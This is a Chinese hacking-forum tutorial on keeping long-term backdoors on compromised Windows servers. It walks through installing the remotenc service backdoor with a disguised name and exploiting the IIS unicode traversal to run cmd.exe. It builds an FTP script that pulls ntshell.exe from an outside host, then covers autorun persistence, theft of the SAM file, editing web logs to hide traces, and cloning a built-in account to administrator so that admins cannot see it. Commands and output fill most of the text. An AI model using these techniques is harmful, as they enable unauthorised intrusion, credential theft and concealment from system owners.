首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
安全知识 :: 脚本攻防

做尽可能久的后门


http://www.gipsky.com/
一、利用长久服务:

前段时间做了一些肉鸡做跳板,辛辛苦苦上传了很多文件,但使用不到几天就被

K了,漏洞也补上了,后来干脆不用跳板了!结果警告来了!痛定思痛!如何在

肉鸡上留下后门达到长期使用的目的呢?今天早上在网上找了一早,也没有找出

什么有用的东西!还是自己动手吧!我门通常使用nc,ncx,netcat等东西来开

后门,但这些后门只是临时的,,主要用于得到Admin权限,能不能留下长期的

后门呢?能!

我在这里介绍的只是如何制作后门,不打算介绍如何得到Admin权限!至于如何

得到Admin,方法很多!U,SQL,溢出、ipc管道、暴力…………单有一点是肯定

的,要留后门,必须有Admin权限。

我打算介绍用两种方法,确切的说是用两个软件!

第一:用小榕的remotenc。第二,用NT Shell 1.0 Beta,这两个软件的共同点

是都能作为服务运行在远端服务器上!我使用下来感觉差不多!不过ntshell的

功能远不止开后门,呵呵!很强大的工具!可以得到asp文件!这对想破江湖的

人可是…………

再强调一点,one:太容易进入的主机不要作自己的跳板(除非你进去后留下后

门把漏洞给补上)two:速度太慢和小型http服务器不要作自己的跳板。three:

进入得到Admin权限后接下来要作的事:留后门--》做代理(就是snake的那个

)--》补漏洞

以上三点属个人意见,供参考!

好了,说了半天的废话,我们开始用小榕的remotenc做我们的第一个跳板!

假设我们已经得到192.168.0.1的admin权限,user:hack password:123,并且

192.168.0.1支持ipc$远程连接!(呵呵!废话!不能连接怎么作跳板!)在自

己c:/hack下有remotenc,好,开始

c:/hack/remotenc 192.168.0.1 hack 123 runasuser "RemoteNC" "Provide

Local CMD Redirect" 7 91888

解释:

remotenc 目标主机 用户名 密码 启动模式 "服务名称" "服务说明" 监听的端



控制密码 /overwrite(注:可以不加该参数)

其中:

用户名必须是admin权限

启动模式有runasuser和localsystem两种(建议用runasuser模式,如果runasus

er模式失败就用localsystem模式)

服务说明是启动后显示在服务管理器中的说明,为了迷惑管理员,建议不要用“

hack”之类

监听的端口是remotenc作为服务启动以后开的监听端口,可以是7、8等,但不要

是21、23、25、80等

控制密码:你telnet(或者ntshell)到监听端口后需要的密码,也就是你对rem

otenc的控制密码。(这里就不要要了哈!别这么小气三)

/overwrite覆盖已经安装的remotenc(不要覆盖我的哈)

回车后出现如下信息:

=======RemoteNC Beta 4, Written by Assassin 2001=======

http://www.netXeyes.comhttp://www.netXeyes.org

[Install Service as RunasUser Mode]

Connecting 192.160.0.1 ..... Done.

Transffer File ..... Done.

Start Service ..... Done.

Now You can Telnet 192.168.0.1 to Connect, Have a Joy

也可能出现:

=======RemoteNC Beta 4, Written by Assassin 2001=======

http://www.netXeyes.comhttp://www.netXeyes.org

[Install Service as RunasUser Mode]

Connecting 192.168.0.1 ..... Done.

Transffer File ..... Done.

Start Service ..... Service Exsited,1206Failed.

这是启动服务失败

这是可以把安装模式换为localsystem,即

c:/hack/remotenc 192.168.0.1 hack 123 localsystem "RemoteNC" "Provide

Local CMD Redirect" 7 91888

就能安装成功!

如果出现第一中情况,祝贺你,然后

Microsoft Telnet> open 192.168.0.1 7

正在连接到192.168.0.1 7...

然后出现:

RemoteNC Control Password:(这里输入你的控制密码91888)

然后出现:

RemoteNC Control Password: *********

===============Banyet Soft Labs. 1995-2001 All

RightsReserved.===============

=========Written by Assassin, Server

EditionFluxShadow@21cn.com==============



Microsoft Windows 2000 [?セ 5.00.2195]

RemoteNC>

哈哈,可以添加用户了!net命令就不用说了哈(即使hack 123的账户被K了,仍

然可以telnet到7在remotenc下添加用户,只要他不发现在服务管理器中的Provi

de Local CMD

Redirect,你就一直都有自己的账户!)拷贝必要的文件上去!twwwscan等(注

意隐蔽),或者fshttp,fspop也加上去,哈哈真的很爽!也可作成自己的sock5

代理。

添加完用户,启动他的telnet服务如果没有启动的话),又可以继续运行你的tw

wwacan等东西了!



第二种方法,利用NT Shell 1.0 Beta

为了讲述ntshell的详细用法,我详细讲述

一、ntshell分为客户端和服务端!服务端的名称为ntshell.exe,客户端ntshel

lc.exe

二、ntshell的语法:

内建的命令都是以'?'开头,在命令行上输入'?help'可以查看命令帮助列表,命

令不分大小写。共有以下几个命令,其中由于标准的telnet不支持文件传输,因

此前两个命令就是文件互传,必须使用附带的客户端才能实现。同时虽然在文件

传输时,你可以运行其他命令,但是同一时刻只能有一个文件在传输(也就是前

一个get,put,httpget命令没完成,就不能再执行这3个命令中的任意一个),

这主要是因为我为了编程方便,而且我觉得也没必要多个文件同时传输,不过如

果有必要,以后可以考虑。

?autorun [name file "args"] --- 将本程序添加到自动运行,将检查所有已知



置(先是注册表);name是一个项名,file是程序名(当然也可以是其他

程序),args是程序的参数列表,一定要用""括起来。缺省是NTKernel

ntshell.exe "-w 10"。

?canceldata --- 终止刚才传输的文件

?chdir <dir> --- 更改服务器的当前目录,不加参数查看当前目录,可以是网

上邻居中的共享

?get <file> [port] --- 从服务器下载文件,可以指定使用服务器使用[port]

端口传输

?help --- 查看命令帮助列表

?httpget <host> <url> --- 从 'host'主机上下载文件 'url', 必须以根'/'开



例如httpgethttp://192.168.0.1 / hackdir/hackprog.exe,可以没有http://

?pskill PID --- 杀死指定PID的进程

?pslist --- 列出当前系统中的所有进程,如果是guests组可能很多进程不能获

得详细信息

?put <file> [port] --- 上传文件到服务器,可以指定使用服务器使用[port]

端口传输

?quit --- 服务器端退出,相当于使用exit命令,不过如果执行

了copy con abc这样的坏内部命令,你就不能在使用exit命令

了,可以使用quit退出

?restart [<user> [pass]--- 以user身份重启动shell,不过本版本只能重起

shell,不能以指定的用户运行。原因是使用CreateProcessAsUser创建进

程时权限不足,即使原来是admin也不行

?sysinfor --- 获得系统的信息,现在只有os的简短信息



程序支持的参数为(使用'?use'参数可以查看该列表,不使用‘/?’或‘-?’来

实现是因为一旦把它留在服务器上,敌方运行该程序查看到程序功能的话,就糟

了)

ntshell [-listen Listenport] [-time Timeout] [-pass Password] [-show]

[-wait WInterval] [-until time] [-last LInterval]

-listen Listenport --- 指定监听的端口,缺省值是22

-time Timeout --- 指定超时的秒数,缺省值是180

-pass Password --- 指定连接的口令,如果含有空格,使用" "包含口

令; 缺省值是"let me in"

-show ---显示一个console窗口,用户可以通过关闭该窗口结束本程序

-wait WInterval ---在程序运行后,先等待WInterval分钟,然后监听端口

-until hour:minu --- 在程序运行后,直到hour:minu时才监听端口

-last LInterval --- 在程序监听端口后,如果LInterval分钟内没有连接,将

结束程序

最后三项是为了增加程序的隐蔽性,以避免在通常情况下使用程序发现监听的进



三、ntshellc的用法:

在没有连接的情况下,提示符是NTShellc>,此时可以使用以下的3个内建命令,

命令均为小写。命令可以简写。

h[elp] ---- 显示支持的命令列表

o[pen] <target> [port] ---- 与target的port进行连接,port缺省值是22

q[uit] ---- 退出本程序



程序支持的两个参数,可以使用标准的'/?'参数查看该列表。如果不提供参数将

进入NTShellc>提示符,然后可以使用open命令进行连接。

ntshellc [Target] [Port]

[Target] ---- 要连接的服务器

[Port] ---- 要连接的端口

四、实例

--NTShell使用示例



本示例仅为示范NTShell的功能与语法,因此使用unicode漏洞进行攻击试验。其

中以'//'开头的行是我的注释,其他的是程序的输出。



//在本机运行客户端,

F:/hacktool/ntshell>ntshellc

NtShell Client Program.

> Type Help to see the commands

//连接目标计算机的www服务

NTShellc>o 192.168.0.1 80

> Connect to 192.168.0.1 at Port 80 ...

> Connected with the server.

//请求一个已知的文件

GET /iissamples/default?samples.asp /HTTP/1.0

//找不到文件,IIS4.0,应该是%1?,

HTTP/1.1 404 找不到对象

Server: Microsoft-IIS/4.0

Date: Sat, 10 Feb 2001 15:08:26 GMT

//再来,

NTShellc>o 192.168.0.1 80

> Connect to 192.168.0.1 at Port 80 ...

> Connected with the server.

GET /iissamples/default??samples.asp HTTP/1.0

//行了,找到了,

HTTP/1.1 200 OK

//下面要试试,哪些web目录在和系统在同一个逻辑盘上

GET /scripts/..??../..??../winnt/system32/cmd.exe?/c dir

//找到了,就用它了

HTTP/1.1 200 OK

Server: Microsoft-IIS/4.0

Directory of C:/Inetpub/scripts

01-01-09 02:58p <DIR> .

01-01-09 02:58p <DIR> ..

00-08-28 05:30p <DIR> proxy

00-08-28 05:30p <DIR> tools

4 File(s) 241,424 bytes

850,3XX,416 bytes free

> Connection closed

NTShellc>o 192.168.0.1 80

//拷贝cmd.exe

GET

/scripts/..??../..??../winnt/system32/cmd.exe?/c copy /winnt/s

ystem3

2/cmd.exe dmc.exe

//不理它, 1 file(s) copied. 没有访问拒绝就行

HTTP/1.1 502 网关错误

Server: Microsoft-IIS/4.0

Date: Wed, 07 Feb 2001 09:47:20 GMT

Content-Length: 190

Content-Type: text/html

<head><title>CGI 运用程序中出错</title></head>

<body>CGI 错误指定的 CGI 应用程序因为没有返回完整的 HTTP 标题

而运行不正

常。它返回的标题是: 1 file(s) copied.

</pre>

> Connection closed



//下面就方便了,赶紧把ntshell上传, 就使用ftp脚本吧,

GET /scripts/dmc.exe?/c echo open 192.168.0.45>ftp.bin

GET /scripts/dmc.exe?/c dir

GET /scripts/dmc.exe?/c echo anonymous>>ftp.bin

GET /scripts/dmc.exe?/c echo test@test>>ftp.bin

GET /scripts/dmc.exe?/c echo binary>>ftp.bin--//一定要有这步,不然有的

运行不正常

GET /scripts/dmc.exe?/c echo get ntshell.exe>>ftp.bin

GET /scripts/dmc.exe?/c echo quit>>ftp.bin

//看看文件内容写的对不对,

GET /scripts/dmc.exe?/c type ftp.bin

HTTP/1.1 502 网关错误

Server: Microsoft-IIS/4.0

Date: Wed, 07 Feb 2001 14:57:14 GMT

Content-Length: 232

Content-Type: text/html

<head><title>CGI 运用程序中出错</title></head>

<body>CGI 错误指定的 CGI 应用程序因为没有返回完整的 HTTP 标题

而运行不正

常。它返回的标题是:open 192.168.0.45

anonymous

test@test

get ntshell.exe

quit

</pre>

> Connection closed



//好的,执行ftp

GET /scripts/dmc.exe?/c ftp -s:ftp.bin

GET /scripts/dmc.exe?/c dir

Directory of C:/Inetpub/scripts

01-02-07 10:58p <DIR> .

01-02-07 10:58p <DIR> ..

98-11-11 04:04a 241,424 dmc.exe

01-02-08 12:24a XX ftp.bin

01-02-08 12:25a 53,248 ntshell.exe

00-08-28 05:30p <DIR> proxy

00-08-28 05:30p <DIR> tools

7 File(s) 294,736 bytes

854,074,368 bytes free

//执行ntshell,

GET /scripts/ntshell.exe HTTP/1.0

//ctrl c结束这个连接,退出程序。

//再次进入

F:/hacktool/ntshell>ntshellc

NTShellc>o 192.168.0.1

> Connect to 192.168.0.1 at Port 22 ...

> Connected with the server.

let me in

Use 'net helpmsg xxx' to see detail message of Error Code.

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

//看看它的系统,

C:/Inetpub/scripts>?sysinfor

# Operation System is Windows NT 4.0,

# Build Number:1381

# Service Pack 4

//nt4 sp4的,去看看log文件

C:/Inetpub/scripts>cd c:/winnt/system32/logfiles

C:/WINNT/system32/LogFiles>cd w3svc1

cd w3svc1

拒绝访问。

//得,还没的看,以后再说吧;

C:/WINNT/system32>cd ../repair

C:/WINNT/repair>dir

00-03-31 09:15p 3,544 sam._

//虽然有用的可能性很小,不过还是那回来试试吧,

C:/WINNT/system32>?get /winnt/repair/sam._

> download file 'sam._' 3544 bytes complete success.

//看看它都运行了什么程序,

C:/WINNT/system32>?pslist

# EnableDebugPrivileges Error, Code:1300

Process ID: 2 Query Process Detail infor Error

Process ID: 25 Query Process Detail infor Error

Process ID: 33 Query Process Detail infor Error

...

Process ID: 565 Query Process Detail infor Error

Process ID: 572 C:/Inetpub/scripts/ntshell.exe

Process ID: 466 C:/WINNT/System32/cmd.exe

# Total 42 processes in system.

//喔赛,都看不了,还有个1300是什么错误?用net看看

C:/WINNT/system32>net helpmsg 1300

net helpmsg 1300

并非所有被引用的特权都分配给调用者。

//看来guest的权限实在太小了,好在知道ntshell和它的cmd进程id,不行了可

以杀



C:/Inetpub/scripts>?help

#?autorun [name file "args"] --- add the [file] to autorun when

reboot,

[file] default is ntshell.exe

//可以自动运行,要试试,

C:/Inetpub/scripts>time

time

当前时间: 5:33:27.32

输入新时间:

//它的时间和我的差不多,行了

C:/Inetpub/scripts>?autorun ntshelld ntshell.exe "-until 2:00 -pass "a

b c" -last 60"

# file 'C:/Inetpub/scripts/ntshell.exe' has added to autorun at

C:/WINNT/Profiles/All Users/「开始」菜单/程序/启动/ntshelld.lnk

//看来没在注册表中找到位置,到底在开始菜单中找到一个可以运行的地方,好

了,等着系统重起动吧

//(一定注意参数作为一个字符串,使用" "括起来,不然可能就不对了。这个

参数的意思是“程序//运行后,直到夜里2点开始监听连接,持续60分钟,连接

后使用a b c作为口令”)

C:/Inetpub/scripts>del ftp.bin

C:/Inetpub/scripts>exit

NTShellc>q



//破解完了sam._,用里边的密码进行,net use无效,看来这个密码文件没什么

用了,

//过两天在夜里2点到3点之间进行连接,看看成功否

NTShellc>o 192.168.0.1

> Connect to 192.168.0.1 at Port 22 ...

> Connected with the server.

//连上了,ok

a b c

C:/>cd winnt/system32/logfiles

C:/WINNT/system32/LogFiles>cd w3svc1

C:/WINNT/system32/LogFiles/W3SVC1>?get

C:/WINNT/system32/LogFiles/W3SVC1/ex010205.log

//把记录改改,再给他put回去

C:/WINNT/system32/LogFiles/W3SVC1>?put ex010205.log

//好了,这台机器行了,在加个admin组的用户,

//把ntshell的客户端拿过来,再看看其他机器,

C:/WINNT/system32/LogFiles/W3SVC1>cd /inetpub/scripts

C:/Inetpub/scripts>?put ntshellc.exe

//运行它,

C:/Inetpub/scripts>ntshellc

NTShellc>o 192.168.0.45 80

> Connect to 192.168.0.45 at Port 80 ...

> Connected with the server.

GET / HTTP/1.0



HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Content-Location:http://192.168.0.45/index.html

//嗯,是台win2k iis5, 如发炮制。

NTShellc>NTShellc>q

C:/Inetpub/scripts>



//想办法上传ntshell,并运行它,然后运行ntshellc进行连接

C:/Inetpub/scripts>ntshellc

NTShellc>NTShellc>o 192.168.0.45

> Connect to 192.168.0.45 at Port 22 ...

> Connected with the server.

D:/Inetpub/Scripts>cd /

cd /

//取看看log文件,是我连接的,还是192.168.0.1

D:/>cd winnt/system32/logfiles

cd winnt/system32/logfiles

D:/WINNT/system32/LogFiles>

D:/WINNT/system32/LogFiles>cd w3svc1

D:/WINNT/system32/LogFiles>cd w3svc1

D:/WINNT/system32/LogFiles/W3SVC1>D:/WINNT/system32/LogFiles/W3SVC1>ty

pe ex010208.log

D:/WINNT/system32/LogFiles/W3SVC1>type ex010208.log

#Software: Microsoft Internet Information Services 5.0

#Version: 1.0

#Date: 2001-02-08 02:04:40

#Fields: time c-ip cs-method cs-uri-stem sc-status

10:11:34 192.168.0.1 GET /index.html 200

D:/WINNT/system32/LogFiles/W3SVC1>time

time

当前时间: 10:18:42.97

输入新时间:

D:/WINNT/system32/LogFiles/W3SVC1>exit

exit

> Connection closed

NTShellc>NTShellc>



//ok, telnet跳板基本还可以,就是有时输出重复,一般一个命令得回车两次



二、克隆帐号

1...经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建

一个管理员组的用户,似乎当管理员不存在一般,今天偶违背一下偶以前的初衷

,Share一个类似于RootKit的玩艺,当然,这些过程也是可以用脚本实现的,但

是我就不写了,OK,Show Time Now。

首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的

SID是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为

500的帐号进行克隆,在这里我们选择的帐号是IUSR_MachineName(当然,为了

加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个

用户较常见罢了),测试环境为Windows 2000 Server。

运行一个System的CMD Shell(

http://www.sometips.com/tips/scripts/173.htm 或使用

Http://www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行

regedit /e adam.reg

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4

这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,

将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Us

ers/000001F4]最后的"1F4"修改为IUSR_MachineName的SID(大部分的机器该用

户的SID都为0x3E9,如果机器在最初安装的时候没有安装IIS,而自己创建了帐

号后再安装IIS就有可能不是这个值),将Root.reg文件中的"1F4"修改为"3E9"

后执行

regedit /s adam.reg

导入该Reg文件

然后运行

net user IUSR_MachineName Sometips

修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的

密码越好)

OK,大功告成...

这样,我们拥有和默认管理员一样的桌面、一样的Profile.....

而且,当我们运行 net localgroup administrators 时,看看结果:

C:/>net localgroup administrators

Alias name administrators

Comment Administrators have complete and unrestricted access to the

computer/domain

Members

----------------------------------------------------------------------

---------

Administrator

The command completed successfully.

再看看USER2SID的输出结果:

C:/>user2sid Administrator

S-1-5-21-1004336348-1078145449-854245398-500

Number of subauthorities is 5

Domain is IDONTKNOW

Length of SID in memory is 28 bytes

Type of SID is SidTypeUser

C:/>user2sid iusr_machinename

S-1-5-21-1004336348-1078145449-854245398-1001

Number of subauthorities is 5

Domain is IDONTKNOW

Length of SID in memory is 28 bytes

Type of SID is SidTypeUser

我想,再高明的管理员也看不到任何的异状了...而且,随便管理员改成什么密

码,我照样可以用IUSR_MachineName,密码为Sometips登陆...(没有哪位大侠级

的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)

很多人提到使用了管理工具的用户管理后,能够发现IUSR_MachineName被提升了

权限。

现给出解决办法。

方法同上,不过这次修改内容多一些。即

这次要导出两个key内容:

一个是adam提到的

regedit /e adam.reg

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000001F4

然后另外一个是你需要修改那个账号的值

regedit /e iusr.reg

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/000003E9

然后按照adam提到的修改adam.reg

“将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/

Users/000001F4]最后的"1F4"修改为IUSR_MachineName的SID”

现在,你还要从iusr.reg文件中复制一下内容

就是将iusr.reg文件中“"V"=hex:0”开始一直到iusr.reg文件结束部分复制下



然后替换掉adam.reg中同样位置的部分

最后使用

regedit /s adam.reg

导入该Reg文件

呵呵,别忘了给这个IUSR_MachineName改密码哦。

hehe,ok,大功告成。

现在IUSR_MachineName账号拥有了管理员的权限,但是你使用net.exe和

管理工具中的用户管理都将看不到任何痕迹,即使你去察看所属于的组和用户。

都和修改前没有任何区别。

2...利用 CA.exe: http://www.heibai.net/download/show.php?id=2360

利用SA.exe 将Iusr_victim克隆为Administrator。

C:/>ca //192.168.0.1 test test iusr_victim password

Clone Administrator, by netXeyes 2002/04/06

Written by netXeyes 2002, dansnow@21cn.com

Connect 192.168.0.1 ....OK

Get SID of iusr_victim ....OK

Prepairing ....OK

Processing ....OK

Clean Up ....OK

这时,iusr_victim就成为了超级用户,并有具有和Administrator同样的设置(

桌面、菜单等等)。

-------------------------------------------------------

用CCA.EXE检查是否存在克隆的帐号。

不必改变ACL, 支持远程检查。

C:/>cca //192.168.0.29 administrator 123456

Check Clone Account, by netXeyes 2002/04/29

Written by netXeyes 2002, dansnow@21cn.com

Connect 192.168.0.29 ....OK

Prepairing ....OK

Processing ....OK

Checking ....

Check Result:

[DuDu] AS SAME AS [administrator]

[Guest] AS SAME AS [administrator]

[IUSR_RONG] AS SAME AS [administrator]

[IWAM_RONG] AS SAME AS [administrator]

[TEST] AS SAME AS [administrator]

[xr] AS SAME AS [administrator]

[Guest] AS SAME AS [DuDu]

[IUSR_RONG] AS SAME AS [DuDu]

这上面的DuDu,guest,IUSR_RONG等帐户就已经是被克隆为administrator啦
<< 如何在SP上行严重低迷的时候保证稳赚不赔 微软黑屏行动是有计划的大规模网络犯罪 >>
API:
gipsky.com& 安信网络
网友个人意见,不代表本站立场。对于发言内容,由发表者自负责任。

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号